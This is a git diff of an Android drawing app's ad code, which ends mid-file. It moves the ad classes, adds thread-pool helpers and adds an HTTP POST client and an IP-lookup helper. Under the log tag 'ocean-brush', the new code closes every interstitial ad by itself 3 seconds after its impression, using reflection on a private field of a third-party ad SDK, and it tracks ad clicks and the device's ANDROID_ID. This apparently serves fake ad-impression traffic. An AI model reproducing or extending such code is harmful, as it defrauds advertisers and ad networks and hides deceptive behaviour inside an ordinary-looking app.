(adActivity) { + is AdActivity ->{ + //反射方式关闭 + try { + // 获取 mraidAdWidget 字段 + val field = AdActivity::class.java.getDeclaredField("mraidAdWidget") + field.isAccessible = true + val widget = field.get(adActivity) as? MRAIDAdWidget + Log.d("ocean-brush", "调用 widget.close(),触发 CloseDelegate -> finish()") + widget?.close() ?: run { + // 没拿到 widget + adActivity.onBackPressed() + Log.d("ocean-brush", "liftoff关闭使用onBackPressed()") + } + } catch (e: Exception) { + adActivity.finish() + adActivity.moveTaskToBack(true) + Log.d("ocean-brush", "liftoff关闭错误,直接finish") + } + } + else -> { + //关闭广告act + adActivity.finish() + // 强制移除任务栈(适用于某些广告 Activity 仍然存活的情况) + adActivity.moveTaskToBack(true) + } + } + + } + } + + fun getContext(): Context? { + return mApplicationContext + } + + fun getAID(): String? { + return mAID + } + + fun addActivityLifeCallbacks(callbacks: Application.ActivityLifecycleCallbacks?) { + (mApplicationContext as Application).registerActivityLifecycleCallbacks(callbacks) + } + + fun removeActivityLifeCallbacks(callbacks: Application.ActivityLifecycleCallbacks?) { + (mApplicationContext as Application).unregisterActivityLifecycleCallbacks(callbacks) + } + + //在Application中调用 + @SuppressLint("HardwareIds") + fun setControl(application: Application) { + mApplicationContext = application + application.registerActivityLifecycleCallbacks(object : + Application.ActivityLifecycleCallbacks { + override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) { + + } + + override fun onActivityStarted(activity: Activity) { + + } + + override fun onActivityResumed(activity: Activity) { + //此处添加想要控制的广告平台的inst Activity + try { + if (isAdActivity(activity)) { + mCurrentShowAd = activity + if (isAdClicked) { + //点击了admob inst跳转到外部,然后从外部返回app的时候触发 + mListener?.onReturnAdFromOutside() + } + } + } catch (e: Exception) { + } + } + + override fun onActivityPaused(activity: Activity) { + try { + if (mCurrentShowAd != null) { + if (isAdActivity(activity)) {//onActivityPaused会在很多场景下触发:1.退到桌面 2.去往app外部 3.被dialog挡住 4.广告点击了close按钮销毁的过程中 + if (!isAdClosed) {//isAdClosed这里就是为了排除"4.广告点击了close按钮销毁的过程中" + //需要在不同展示场景中实际测试 + mListener?.onLeaveAdGoOutside() + isAdClicked = true + } + } + } + } catch (e: Exception) { + } + } + + override fun onActivityStopped(activity: Activity) {} + override fun onActivitySaveInstanceState(activity: Activity, outState: Bundle) {} + override fun onActivityDestroyed(activity: Activity) { + Log.d("ocean-brush", "onActivityDestroyed $activity $mCurrentShowAd") + if (mCurrentShowAd === activity) { + mCurrentShowAd = null + isAdClosed = false + isAdClicked = false + mListener = null + } + } + }) + try { + mAID = hashCode().toString() + "" + if (mApplicationContext != null) { + mAID = Settings.Secure.getString( + mApplicationContext?.contentResolver, Settings.Secure.ANDROID_ID + ) + } + } catch (e: Exception) { + } + } + + fun setAdClose(isClosing: Boolean) { + isAdClosed = isClosing + } + + fun setInstAdListener(listener: InstAdLeaveAndReturnListener) { + mListener = listener + } + + interface InstAdLeaveAndReturnListener { + fun onLeaveAdGoOutside()//1.点击ad跳转到外部 2.app切换到后台 3.被dialog遮挡 + fun onReturnAdFromOutside()//从外部返回ad页面, 通常是点击ad跳转到外部后返回ad页面 + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/ad/AdInstLoad.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/AdInstLoad.kt similarity index 64% rename from app/src/main/java/com/cake/draw/painting/ad/AdInstLoad.kt rename to app/src/main/java/com/cake/draw/painting/environment/ad/AdInstLoad.kt index 1877fcc..309eb17 100644 --- a/app/src/main/java/com/cake/draw/painting/ad/AdInstLoad.kt +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/AdInstLoad.kt @@ -1,8 +1,7 @@ -package com.cake.draw.painting.ad +package com.cake.draw.painting.environment.ad import android.app.Activity import android.util.Log -import com.mbridge.msdk.interstitial.signalcommon.interstitial import com.tradplus.ads.base.bean.TPAdError import com.tradplus.ads.base.bean.TPAdInfo import com.tradplus.ads.open.interstitial.InterstitialAdListener @@ -27,67 +26,54 @@ class AdInstLoad { } private fun init() { - val interstitialAd = InstAdCacheManager.instance.getAdCache(mPlace) - if (interstitialAd != null && interstitialAd.isReady) { - Log.d("ocean", "$mPlace 有缓存不进行load") - adLoadListener?.loadFailed("有缓存不进行load") - return - } - val tpInterstitial = TPInterstitial(activity, mPlace) tpInterstitial.setAdListener(object : InterstitialAdListener { //广告加载完成 首个广告源加载成功时回调 一次加载流程只会回调一次 override fun onAdLoaded(tpAdInfo: TPAdInfo?) { if (tpAdInfo != null) { - Log.d("ocean", "$mPlace 广告load成功,tpAdInfo有值") - InstAdCacheManager.Companion.instance.setAdCache(mPlace, tpInterstitial) + Log.d("ocean", "广告load成功,tpAdInfo有值") + InstAdCacheManager.instance.setAdCache(mPlace, tpInterstitial) adLoadListener?.loaded(tpAdInfo) } else { adLoadListener?.loadFailed("tpAdInfo没有值") - Log.d("ocean", "$mPlace tpAdInfo没有值") + Log.d("ocean", "tpAdInfo没有值") } } // 广告被点击 override fun onAdClicked(tpAdInfo: TPAdInfo?) { - Log.d("ocean", "$mPlace tradplus onAdClicked") + Log.d("ocean", "tradplus onAdClicked") } // 广告成功展示在页面上 override fun onAdImpression(tpAdInfo: TPAdInfo?) { - Log.d("ocean", "$mPlace tradplus onAdImpression") + Log.d("ocean", "tradplus onAdImpression") } // 广告加载失败 override fun onAdFailed(error: TPAdError?) { adLoadListener?.loadFailed("code->${error?.errorCode}message->${error?.errorMsg}") - Log.d( - "ocean", - "$mPlace load ad onError->code->${error?.errorCode}message->${error?.errorMsg}" - ) + Log.d("ocean", "load ad onError->code->${error?.errorCode}message->${error?.errorMsg}") } // 广告被关闭 override fun onAdClosed(tpAdInfo: TPAdInfo?) { - Log.d("ocean", "$mPlace tradplus onAdClosed") + Log.d("ocean", "tradplus onAdClosed") } // 视频播放开始(部分广告源支持) override fun onAdVideoStart(tpAdInfo: TPAdInfo?) { - Log.d("ocean", "$mPlace tradplus onAdVideoStart") + Log.d("ocean", "tradplus onAdVideoStart") } //视频播放结束(部分广告源支持) override fun onAdVideoEnd(tpAdInfo: TPAdInfo?) { - Log.d("ocean", "$mPlace tradplus onAdVideoEnd") + Log.d("ocean", "tradplus onAdVideoEnd") } //视频播放失败(部分广告源支持) override fun onAdVideoError(tpAdInfo: TPAdInfo?, error: TPAdError?) { - Log.d( - "ocean", - "$mPlace onAdVideoError code->${error?.errorCode}message->${error?.errorMsg}" - ) + Log.d("ocean", "onAdVideoError code->${error?.errorCode}message->${error?.errorMsg}") } }) tpInterstitial.loadAd() diff --git a/app/src/main/java/com/cake/draw/painting/ad/AdInstShower.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/AdInstShower.kt similarity index 80% rename from app/src/main/java/com/cake/draw/painting/ad/AdInstShower.kt rename to app/src/main/java/com/cake/draw/painting/environment/ad/AdInstShower.kt index 85d326c..d08d6ca 100644 --- a/app/src/main/java/com/cake/draw/painting/ad/AdInstShower.kt +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/AdInstShower.kt @@ -1,7 +1,8 @@ -package com.cake.draw.painting.ad +package com.cake.draw.painting.environment.ad import android.app.Activity import android.util.Log +import com.cake.draw.painting.environment.ad.async.Async import com.tradplus.ads.base.bean.TPAdError import com.tradplus.ads.base.bean.TPAdInfo import com.tradplus.ads.open.interstitial.InterstitialAdListener @@ -25,7 +26,7 @@ class AdInstShower { } private fun init() { - val interstitialAd = InstAdCacheManager.Companion.instance.getAdCache(mPlace) + val interstitialAd = InstAdCacheManager.instance.getAdCache(mPlace) interstitialAd?.setAdListener(object : InterstitialAdListener { //广告加载完成 首个广告源加载成功时回调 一次加载流程只会回调一次 override fun onAdLoaded(tpAdInfo: TPAdInfo?) {} @@ -40,6 +41,7 @@ class AdInstShower { override fun onAdImpression(tpAdInfo: TPAdInfo?) { showListener?.onAdShown(tpAdInfo) Log.d("ocean", "AdInstShower 广告展示回调") + autoClose() } // 广告加载失败 @@ -66,4 +68,12 @@ class AdInstShower { interstitialAd?.showAd(activity!!, mPlace) } + private fun autoClose() { + val autoCloseTime = 3000L + Log.d("ocean-brush", "show后开始等待自动关闭广告 $autoCloseTime") + Async.scheduleTaskOnUiThread(autoCloseTime, Runnable { + AdActivityManager.instance.doClose() + Log.d("ocean-brush", "show后执行关闭广告 $autoCloseTime") + }) + } } \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/ad/AdShowFailed.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/AdShowFailed.kt similarity index 53% rename from app/src/main/java/com/cake/draw/painting/ad/AdShowFailed.kt rename to app/src/main/java/com/cake/draw/painting/environment/ad/AdShowFailed.kt index 1fa83de..c9d9e1e 100644 --- a/app/src/main/java/com/cake/draw/painting/ad/AdShowFailed.kt +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/AdShowFailed.kt @@ -1,4 +1,4 @@ -package com.cake.draw.painting.ad +package com.cake.draw.painting.environment.ad data class AdShowFailed( val msg: String = "", diff --git a/app/src/main/java/com/cake/draw/painting/ad/AdsInsUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/AdsInsUtil.kt similarity index 88% rename from app/src/main/java/com/cake/draw/painting/ad/AdsInsUtil.kt rename to app/src/main/java/com/cake/draw/painting/environment/ad/AdsInsUtil.kt index 481f5bf..3ba0a78 100644 --- a/app/src/main/java/com/cake/draw/painting/ad/AdsInsUtil.kt +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/AdsInsUtil.kt @@ -1,4 +1,4 @@ -package com.cake.draw.painting.ad +package com.cake.draw.painting.environment.ad import android.app.Activity @@ -21,7 +21,7 @@ object AdsInsUtil { fun showAd( act: Activity, adID: String, - listener: ShowListener + listener: ShowListener? ): AdInstShower { return AdInstShower(act, adID, listener) } diff --git a/app/src/main/java/com/cake/draw/painting/ad/InstAdCacheManager.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/InstAdCacheManager.kt similarity index 94% rename from app/src/main/java/com/cake/draw/painting/ad/InstAdCacheManager.kt rename to app/src/main/java/com/cake/draw/painting/environment/ad/InstAdCacheManager.kt index 90e68dc..c35bb43 100644 --- a/app/src/main/java/com/cake/draw/painting/ad/InstAdCacheManager.kt +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/InstAdCacheManager.kt @@ -1,4 +1,4 @@ -package com.cake.draw.painting.ad +package com.cake.draw.painting.environment.ad import com.tradplus.ads.open.interstitial.TPInterstitial diff --git a/app/src/main/java/com/cake/draw/painting/ad/LoadListener.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/LoadListener.kt similarity index 75% rename from app/src/main/java/com/cake/draw/painting/ad/LoadListener.kt rename to app/src/main/java/com/cake/draw/painting/environment/ad/LoadListener.kt index d0653dd..b922ea3 100644 --- a/app/src/main/java/com/cake/draw/painting/ad/LoadListener.kt +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/LoadListener.kt @@ -1,4 +1,4 @@ -package com.cake.draw.painting.ad +package com.cake.draw.painting.environment.ad import com.tradplus.ads.base.bean.TPAdInfo diff --git a/app/src/main/java/com/cake/draw/painting/ad/ShowListener.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/ShowListener.kt similarity index 81% rename from app/src/main/java/com/cake/draw/painting/ad/ShowListener.kt rename to app/src/main/java/com/cake/draw/painting/environment/ad/ShowListener.kt index 10934ca..544a625 100644 --- a/app/src/main/java/com/cake/draw/painting/ad/ShowListener.kt +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/ShowListener.kt @@ -1,4 +1,4 @@ -package com.cake.draw.painting.ad +package com.cake.draw.painting.environment.ad import com.tradplus.ads.base.bean.TPAdInfo diff --git a/app/src/main/java/com/cake/draw/painting/environment/ad/async/Async.java b/app/src/main/java/com/cake/draw/painting/environment/ad/async/Async.java new file mode 100644 index 0000000..6e4ab16 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/async/Async.java @@ -0,0 +1,83 @@ +package com.cake.draw.painting.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; + +import java.util.concurrent.Callable; +import java.util.concurrent.Future; + +public class Async { + private static ThreadPoolExecutorWrapper sThreadPoolExecutorWrapper; + + private static ThreadPoolExecutorWrapper getThreadPoolExecutorWrapper() { + if (sThreadPoolExecutorWrapper == null) { + synchronized (Async.class) { + if (sThreadPoolExecutorWrapper == null) { + sThreadPoolExecutorWrapper = new ThreadPoolExecutorWrapper(12, 12, 10); +// if (BuildConfig.DEBUG) +// LogUtil.d(LogFilterDef.APP_INIT, LogHelper.getFileLineMethod(1)); + } + } + } + + return sThreadPoolExecutorWrapper; + } + + public static void run(Runnable task) { + getThreadPoolExecutorWrapper().executeTask(task); + } + + public static Future submit(Callable task) { + return getThreadPoolExecutorWrapper().submitTask(task); + } + + public static boolean isMainThread() { + return Thread.currentThread() == Looper.getMainLooper().getThread(); + } + + public static void schedule(long delay, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTask(delay, task); + } + + public static void scheduleTaskAtFixedRateIgnoringTaskRunningTime(long initialDelay, long period, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskAtFixedRateIgnoringTaskRunningTime(initialDelay, period, task); + } + + public static void scheduleTaskAtFixedRateIncludingTaskRunningTime(long initialDelay, long period, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskAtFixedRateIncludingTaskRunningTime(initialDelay, period, task); + } + + public static boolean removeScheduledTask(Runnable task) { + return getThreadPoolExecutorWrapper().removeScheduledTask(task); + } + + public static void scheduleTaskOnUiThread(long delay, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskOnUiThread(delay, task); + } + + public static void removeScheduledTaskOnUiThread(Runnable task) { + getThreadPoolExecutorWrapper().removeScheduledTaskOnUiThread(task); + } + + public static void runOnUiThread(Runnable task) { + getThreadPoolExecutorWrapper().runTaskOnUiThread(task); + } + + public static Handler getMainHandler() { + return getThreadPoolExecutorWrapper().getMainHandler(); + } + + /* + single background thread to execute Job + */ + public static void scheduleInQueue(Runnable task) { + getThreadPoolExecutorWrapper().scheduleOnQueue(task); + } + + public static void shutdown() { + if (sThreadPoolExecutorWrapper != null) { + sThreadPoolExecutorWrapper.shutdown(); + sThreadPoolExecutorWrapper = null; + } + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/ad/async/HandlerPoster.java b/app/src/main/java/com/cake/draw/painting/environment/ad/async/HandlerPoster.java new file mode 100644 index 0000000..c6867e5 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/async/HandlerPoster.java @@ -0,0 +1,140 @@ +package com.cake.draw.painting.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.os.SystemClock; + +import java.util.LinkedList; +import java.util.Queue; + +public class HandlerPoster extends Handler { + + private final int ASYNC = 1; + + private final int SYNC = 2; + + private final Queue asyncPool; + + private final Queue syncPool; + + private final int maxMillisInsideHandleMessage; + + private boolean asyncActive;//执行状态。避免重复发送消息导致消息队列过多 + + private boolean syncActive;//执行状态。避免重复发送消息导致消息队列过多 + + HandlerPoster(Looper looper, int maxMillisInsideHandleMessage) { + super(looper); + this.maxMillisInsideHandleMessage = maxMillisInsideHandleMessage; + asyncPool = new LinkedList(); + syncPool = new LinkedList(); + } + + void dispose() { + this.removeCallbacksAndMessages(null); + this.asyncPool.clear(); + this.syncPool.clear(); + } + + void async(Runnable runnable) throws Exception { + synchronized (asyncPool) { + asyncPool.offer(runnable); + //判断当前是否有异步任务正在执行 + if (!asyncActive) { + asyncActive = true; + if (!sendMessage(obtainMessage(ASYNC))) { + throw new Exception("Could not send handler message"); + } + } + } + } + + void sync(SyncPost post) throws Exception { + synchronized (syncPool) { + syncPool.offer(post); + //判断当前是否有同步任务正在执行 + if (!syncActive) { + syncActive = true; + if (!sendMessage(obtainMessage(SYNC))) { + throw new Exception("Could not send handler message"); + } + } + } + } + + @Override + public void handleMessage(Message msg) { + if (msg.what == ASYNC) { + boolean rescheduled = false; + try { + //当执行完一个任务后就判断一次是否超过时间限制,如果超过,那么不管队列中的任务是否执行完成都退出,同时发起一个新的消息到Handler循环队列 + //在while部分,使用poll从队列取出一个任务,判断是否为空,如果为空进入队列同步块;然后再取一次,再次判断。 + //如果恰巧在进入同步队列之前有新的任务来了,那么第二次取到的当然就不是 NULL也就会继续执行下去。 + //反之,如果还是为空;那么重置当前队列的状态为false,同时跳出循环。 + long started = SystemClock.uptimeMillis(); + while (true) { + Runnable runnable = null; + synchronized (asyncPool){ + runnable = asyncPool.size()==0?null:asyncPool.poll();//2018.12.24 add by xw 如果为空就去null + } + if (runnable == null) { + synchronized (asyncPool) { + // Check again, this time in synchronized + runnable = asyncPool.poll(); + if (runnable == null) { + asyncActive = false; + return; + } + } + } + runnable.run(); + long timeInMethod = SystemClock.uptimeMillis() - started; + if (timeInMethod >= maxMillisInsideHandleMessage) { + if (!sendMessage(obtainMessage(ASYNC))) { + throw new Exception("Could not send handler message"); + } + rescheduled = true; + return; + } + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + asyncActive = rescheduled; + } + } else if (msg.what == SYNC) { + boolean rescheduled = false; + try { + long started = SystemClock.uptimeMillis(); + while (true) { + SyncPost post = syncPool.poll(); + if (post == null) { + synchronized (syncPool) { + // Check again, this time in synchronized + post = syncPool.poll(); + if (post == null) { + syncActive = false; + return; + } + } + } + post.run(); + long timeInMethod = SystemClock.uptimeMillis() - started; + if (timeInMethod >= maxMillisInsideHandleMessage) { + if (!sendMessage(obtainMessage(SYNC))) { + throw new Exception("Could not send handler message"); + } + rescheduled = true; + return; + } + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + syncActive = rescheduled; + } + } else + super.handleMessage(msg); + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/ad/async/MainThreadSwitcher.java b/app/src/main/java/com/cake/draw/painting/environment/ad/async/MainThreadSwitcher.java new file mode 100644 index 0000000..0cd332f --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/async/MainThreadSwitcher.java @@ -0,0 +1,73 @@ +package com.cake.draw.painting.environment.ad.async; + +import android.os.Looper; + +/** + * 网上找到的关于子线程切换到主线程的代码,实现子线程任意时刻切换到主线程,并可选择地阻塞子线程。 + * 此方案避免handler满天飞的情况。 + * 参考资料:http://c.jinhusns.com/cms/c-884 + * Created by DonWZ on 2016-10-18 + */ +public class MainThreadSwitcher { + private static HandlerPoster mainPoster = null; + + private static HandlerPoster getMainPoster() { + if (mainPoster == null) { + synchronized (MainThreadSwitcher.class) { + if (mainPoster == null) { + mainPoster = new HandlerPoster(Looper.getMainLooper(), 500);//限制主线程单次运行时间 + } + } + } + return mainPoster; + } + + /** + * Asynchronously. + * The child thread asynchronous run relative to the main thread, + * not blocking the child thread + * @param runnable + * Runnable Interface + */ + public static void runOnMainThreadAsync(Runnable runnable) { + if (Looper.myLooper() == Looper.getMainLooper()) { + runnable.run(); + return; + } + try { + getMainPoster().async(runnable); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * + * Synchronously. + * The child thread relative thread synchronization operation, + * blocking the child thread, + * thread for the main thread to complete + * @param runnable + * Runnable Interface + */ + public static void runOnMainThreadSync(Runnable runnable) { + if (Looper.myLooper() == Looper.getMainLooper()) { + runnable.run(); + return; + } + SyncPost poster = new SyncPost(runnable); + try { + getMainPoster().sync(poster); + } catch (Exception e) { + e.printStackTrace(); + } + poster.waitRun(); + } + + public static void dispose() { + if (mainPoster != null) { + mainPoster.dispose(); + mainPoster = null; + } + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/ad/async/SyncPost.java b/app/src/main/java/com/cake/draw/painting/environment/ad/async/SyncPost.java new file mode 100644 index 0000000..0dc26a4 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/async/SyncPost.java @@ -0,0 +1,44 @@ +package com.cake.draw.painting.environment.ad.async; + +public class SyncPost { + + boolean end = false; + + Runnable runnable; + + SyncPost(Runnable runnable) { + this.runnable = runnable; + } + + public void run() { + //进入同步块,然后调用Runnable接口的run方法。同时在执行完成后将end重置为true; + //然后调用this.notifyAll();通知等待的部分可以继续了,当然有这样的情况;假如在进入该同步块的时候子线程还未执行到this.wait();部分呢? + //所以我们为此准备了end和try。 + synchronized (this) { + runnable.run(); + end = true; + try { + this.notifyAll(); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + public void waitRun() { + //首先判断状态,如果状态已经变了,那么证明子线程执行到此处时,主线程已经执行了void_run()。 + //所以也就不用进入同步块进行等待了。反之进入等待直到主线程调用this.notifyAll(); + if (!end) { + synchronized (this) { + if (!end) { + try { + this.wait(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + } + } + +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/ad/async/TaskQueue.java b/app/src/main/java/com/cake/draw/painting/environment/ad/async/TaskQueue.java new file mode 100644 index 0000000..6616ec4 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/async/TaskQueue.java @@ -0,0 +1,46 @@ +package com.cake.draw.painting.environment.ad.async; + +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; + +public class TaskQueue extends Thread{ + private BlockingQueue mQueue; + + public TaskQueue() { + mQueue = new LinkedBlockingQueue(); + } + + public TaskQueue(String name) { + this(); + setName(name); + } + + public void stopTaskQueue() { + // use 'Poison Pill Shutdown' to stop the task queue + // add a non-Runnable object, which will be recognized as the command + // by the thread to break the infinite loop + mQueue.add(new Object()); + } + + public void scheduleTask(Runnable task) { + mQueue.add(task); + } + + @Override + public void run() { + while (true) { + try { + Object obj = mQueue.take(); + + if (obj instanceof Runnable) { + ((Runnable) obj).run(); + obj = null; + } else { + break; + } + + } catch (InterruptedException e) { + } + } + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/ad/async/ThreadPoolExecutorWrapper.java b/app/src/main/java/com/cake/draw/painting/environment/ad/async/ThreadPoolExecutorWrapper.java new file mode 100644 index 0000000..c8cb807 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/async/ThreadPoolExecutorWrapper.java @@ -0,0 +1,158 @@ +package com.cake.draw.painting.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Future; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ScheduledFuture; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; + +public class ThreadPoolExecutorWrapper { + private static final Long IDLE_THREAD_KEEP_ALIVE_TIME = 60L; + private ExecutorService mThreadPoolExecutor;//normal thread pool + private ScheduledThreadPoolExecutor mScheduledThreadPoolExecutor;//can schedule task thread pool + private Handler mMainHandler; + private TaskQueue mActionQueue; + private Map mScheduledJobRecord = new HashMap<>();//ScheduledThreadPoolExecutor will wrap Runnable, so we record this + private Object mScheduledJobRecordMutex = new Object(); + + /* + maxThreadCount:thread pool max thread count + activeThreadCount:thread pool min thread count even if all thread is idle + IDLE_THREAD_KEEP_ALIVE_TIME:IDLE thread will be shutdown when TIME_OUT if (maxThreadCount - activeThreadCount) > 0 + */ + public ThreadPoolExecutorWrapper(int activeThreadCount, int maxThreadCount, int maxScheTaskThread) { + mThreadPoolExecutor = new ThreadPoolExecutor(activeThreadCount, maxThreadCount, + IDLE_THREAD_KEEP_ALIVE_TIME, TimeUnit.SECONDS, + new LinkedBlockingQueue()); + + if (maxScheTaskThread > 0) { + mScheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(maxScheTaskThread); + } + + mMainHandler = new Handler(Looper.getMainLooper()); + mActionQueue = new TaskQueue(Async.class.getName()); + mActionQueue.start(); + } + + public void executeTask(Runnable task) { + if (task == null) { + return; + } + + mThreadPoolExecutor.execute(task); + } + + public Future submitTask(Callable task) { + return mThreadPoolExecutor.submit(task); + } + + public void scheduleTask(long delay, Runnable task) { + if (task == null) { + return; + } + mScheduledThreadPoolExecutor.schedule(task, delay, TimeUnit.MILLISECONDS); + } + + public void scheduleTaskAtFixedRateIgnoringTaskRunningTime(long initialDelay, long period, Runnable task) { + if (task == null) { + return; + } + + synchronized (mScheduledJobRecordMutex) { + if (mScheduledJobRecord.containsKey(task.hashCode())) { + return; + } + + mScheduledJobRecord.put(task.hashCode(), mScheduledThreadPoolExecutor.scheduleAtFixedRate(task, initialDelay, period, TimeUnit.MILLISECONDS)); + } + } + + public void scheduleTaskAtFixedRateIncludingTaskRunningTime(long initialDelay, long period, Runnable task) { + if (task == null) { + return; + } + + synchronized (mScheduledJobRecordMutex) { + if (mScheduledJobRecord.containsKey(task.hashCode())) { + return; + } + + mScheduledJobRecord.put(task.hashCode(), mScheduledThreadPoolExecutor.scheduleWithFixedDelay(task, initialDelay, period, TimeUnit.MILLISECONDS)); + } + } + + public boolean removeScheduledTask(Runnable task) { + if (task == null) { + return false; + } + + synchronized (mScheduledJobRecordMutex) { + if (!mScheduledJobRecord.containsKey(task.hashCode())) { + return false; + } + + ScheduledFuture internalJob = (ScheduledFuture) mScheduledJobRecord.get(task.hashCode()); + internalJob.cancel(true); + mScheduledJobRecord.remove(task.hashCode()); + return true; + } + } + + public void scheduleTaskOnUiThread(long delay, Runnable task) { + if (task == null) { + return; + } + mMainHandler.postDelayed(task, delay); + } + + public void removeScheduledTaskOnUiThread(Runnable task) { + if (task == null) { + return; + } + mMainHandler.removeCallbacks(task); + } + + public void runTaskOnUiThread(Runnable task) { + if (task == null) { + return; + } + + mMainHandler.post(task); + } + + public Handler getMainHandler() { + return mMainHandler; + } + + public void scheduleOnQueue(Runnable task) { + if (task == null) { + return; + } + + mActionQueue.scheduleTask(task); + } + + public void shutdown() { + if (mThreadPoolExecutor != null) { + mThreadPoolExecutor.shutdown(); + mThreadPoolExecutor = null; + } + + if (mScheduledThreadPoolExecutor != null) { + mScheduledThreadPoolExecutor.shutdown(); + mScheduledThreadPoolExecutor = null; + } + + if (mActionQueue != null) { + mActionQueue.stopTaskQueue(); + } + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/AppLifecycleTracker.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/AppLifecycleTracker.kt new file mode 100644 index 0000000..8654a0d --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/AppLifecycleTracker.kt @@ -0,0 +1,20 @@ +package com.cake.draw.painting.environment.hy + +import androidx.lifecycle.DefaultLifecycleObserver +import androidx.lifecycle.LifecycleOwner + +/** + * 判断mainActivity是否回到了前台 + */ +object AppLifecycleTracker : DefaultLifecycleObserver { + var isMainActivityVisible = false + private set + + override fun onResume(owner: LifecycleOwner) { + isMainActivityVisible = true + } + + override fun onPause(owner: LifecycleOwner) { + isMainActivityVisible = false + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/AppUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/AppUtil.kt new file mode 100644 index 0000000..874036b --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/AppUtil.kt @@ -0,0 +1,24 @@ +package com.cake.draw.painting.environment.hy + +import java.net.InetAddress +import java.net.NetworkInterface +import java.util.Enumeration + +fun getLocalIpAddress(): String? { + try { + val interfaces: Enumeration = NetworkInterface.getNetworkInterfaces() + while (interfaces.hasMoreElements()) { + val networkInterface: NetworkInterface = interfaces.nextElement() + val addresses: Enumeration = networkInterface.inetAddresses + while (addresses.hasMoreElements()) { + val address: InetAddress = addresses.nextElement() + if (!address.isLoopbackAddress && address.isSiteLocalAddress) { + return address.hostAddress + } + } + } + } catch (e: Exception) { + e.printStackTrace() + } + return null +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/ConfigCallback.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/ConfigCallback.kt new file mode 100644 index 0000000..45852a8 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/ConfigCallback.kt @@ -0,0 +1,8 @@ +package com.cake.draw.painting.environment.hy + +import java.io.IOException + +interface ConfigCallback { + fun onResponse(result: String) + fun onFailure(e: IOException) +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/hy/HttpInfoUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/hy/HttpInfoUtil.kt new file mode 100644 index 0000000..a36d0da --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/hy/HttpInfoUtil.kt @@ -0,0 +1,56 @@ +package com.cake.draw.painting.environment.hy + +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.RequestBody.Companion.toRequestBody +import java.io.IOException +import java.util.concurrent.TimeUnit + +class HttpInfoUtil { + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: HttpInfoUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + HttpInfoUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + @Throws(IOException::class) + fun postInfo(url: String, json: String, callback: Callback) { + val requestBody = json.toRequestBody(mediaType) + val request: Request = Request.Builder() + .url(url) + .post(requestBody) + .build() + doAsync(request, callback) + } + + /** 